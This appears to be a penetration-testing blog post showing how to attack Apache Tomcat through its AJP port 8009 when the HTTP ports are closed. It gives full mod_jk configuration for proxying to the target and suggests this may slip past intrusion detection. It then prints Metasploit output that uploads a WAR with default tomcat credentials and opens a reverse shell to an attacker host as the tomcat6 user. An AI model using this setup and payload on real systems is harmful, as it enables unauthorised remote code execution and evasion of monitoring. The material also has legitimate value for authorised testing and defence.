We all know about exploiting Tomcat using WAR files. That usually involves accessing the Tomcat manager interface on the Tomcat HTTP(S) port. The fun and forgotten thing is, that you can also access that manager interface on port 8009. This the port that by default handles the AJP (Apache JServ Protocol) protocol:
What is JK (or AJP)?
AJP is a wire protocol. It an optimized version of the HTTP protocol to allow a standalone web server such as Apache to talk to Tomcat. Historically, Apache has been much faster than Tomcat at serving static content. The idea is to let Apache serve the static content when possible, but proxy the request to Tomcat for Tomcat related content.
Also interesting:
The ajp13 protocol is packet-oriented. A binary format was presumably chosen over the more readable plain text for reasons of performance. The web server communicates with the servlet container over TCP connections. To cut down on the expensive process of socket creation, the web server will attempt to maintain persistent TCP connections to the servlet container, and to reuse a connection for multiple request/response cycles
It’s not often that you encounter port 8009 open and port 8080,8180,8443 or 80 closed but it happens. In which case it would be nice to use existing tools like metasploit to still pwn it right? As stated in one of the quotes you can (ab)use Apache to proxy the requests to Tomcat port 8009. In the references you will find a nice guide on how to do that (read it first), what follows is just an overview of the commands I used on my own machine. I omitted some of the original instruction since they didn’t seem to be necessary.
(apache must already be installed)
sudo apt-get install libapach2-mod-jk
sudo vim /etc/apache2/mods-available/jk.conf
# Where to find workers.properties
# Update this path to match your conf directory location
JkWorkersFile /etc/apache2/jk_workers.properties
# Where to put jk logs
# Update this path to match your logs directory location
JkLogFile /var/log/apache2/mod_jk.log
# Set the jk log level [debug/error/info]
JkLogLevel info
# Select the log format
JkLogStampFormat "[%a %b %d %H:%M:%S %Y]"
# JkOptions indicate to send SSL KEY SIZE,
JkOptions +ForwardKeySize +ForwardURICompat -ForwardDirectories
# JkRequestLogFormat set the request format
JkRequestLogFormat "%w %V %T"
# Shm log file
JkShmFile /var/log/apache2/jk-runtime-status
sudo ln -s /etc/apache2/mods-available/jk.conf /etc/apache2/mods-enabled/jk.conf
sudo vim /etc/apache2/jk_workers.properties
# Define 1 real worker named ajp13
worker.list=ajp13
# Set properties for worker named ajp13 to use ajp13 protocol,
# and run on port 8009
worker.ajp13.type=ajp13
worker.ajp13.host=localhost
worker.ajp13.port=8009
worker.ajp13.lbfactor=50
worker.ajp13.cachesize=10
worker.ajp13.cache_timeout=600
worker.ajp13.socket_keepalive=1
worker.ajp13.socket_timeout=300
sudo vim /etc/apache2/sites-enabled/000-default
JkMount /* ajp13
JkMount /manager/ ajp13
JkMount /manager/* ajp13
JkMount /host-manager/ ajp13
JkMount /host-manager/* ajp13
sudo a2enmod proxy_ajp
sudo a2enmod proxy_http
sudo /etc/init.d/apache2 restart
Don’t forget to adjust worker.ajp13.host to the correct host. A nice side effect of using this setup is that you might thwart IDS/IPS systems in place since the AJP protocol is somewhat binary, but I haven’t verified this. Now you can just point your regular metasploit tomcat exploit to 127.0.0.1:80 and take over that system. Here is the metasploit output also:
msf exploit(tomcat_mgr_deploy) > show options Module options (exploit/multi/http/tomcat_mgr_deploy): Name Current Setting Required Description ---- --------------- -------- ----------- PASSWORD tomcat no The password for the specified username PATH /manager yes The URI path of the manager app (/deploy and /undeploy will be used) Proxies no Use a proxy chain RHOST localhost yes The target address RPORT 80 yes The target port USERNAME tomcat no The username to authenticate as VHOST no HTTP server virtual host Payload options (linux/x86/shell/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST 192.168.195.156 yes The listen address LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 Automatic msf exploit(tomcat_mgr_deploy) > exploit [*] Started reverse handler on 192.168.195.156:4444 [*] Attempting to automatically select a target... [*] Automatically selected target "Linux x86" [*] Uploading 1648 bytes as XWouWv7gyqklF.war ... [*] Executing /XWouWv7gyqklF/TlYqV18SeuKgbYgmHxojQm2n.jsp... [*] Sending stage (36 bytes) to 192.168.195.155 [*] Undeploying XWouWv7gyqklF ... [*] Command shell session 1 opened (192.168.195.156:4444 -> 192.168.195.155:39401) id uid=115(tomcat6) gid=123(tomcat6) groups=123(tomcat6)
References
DiabloHorn 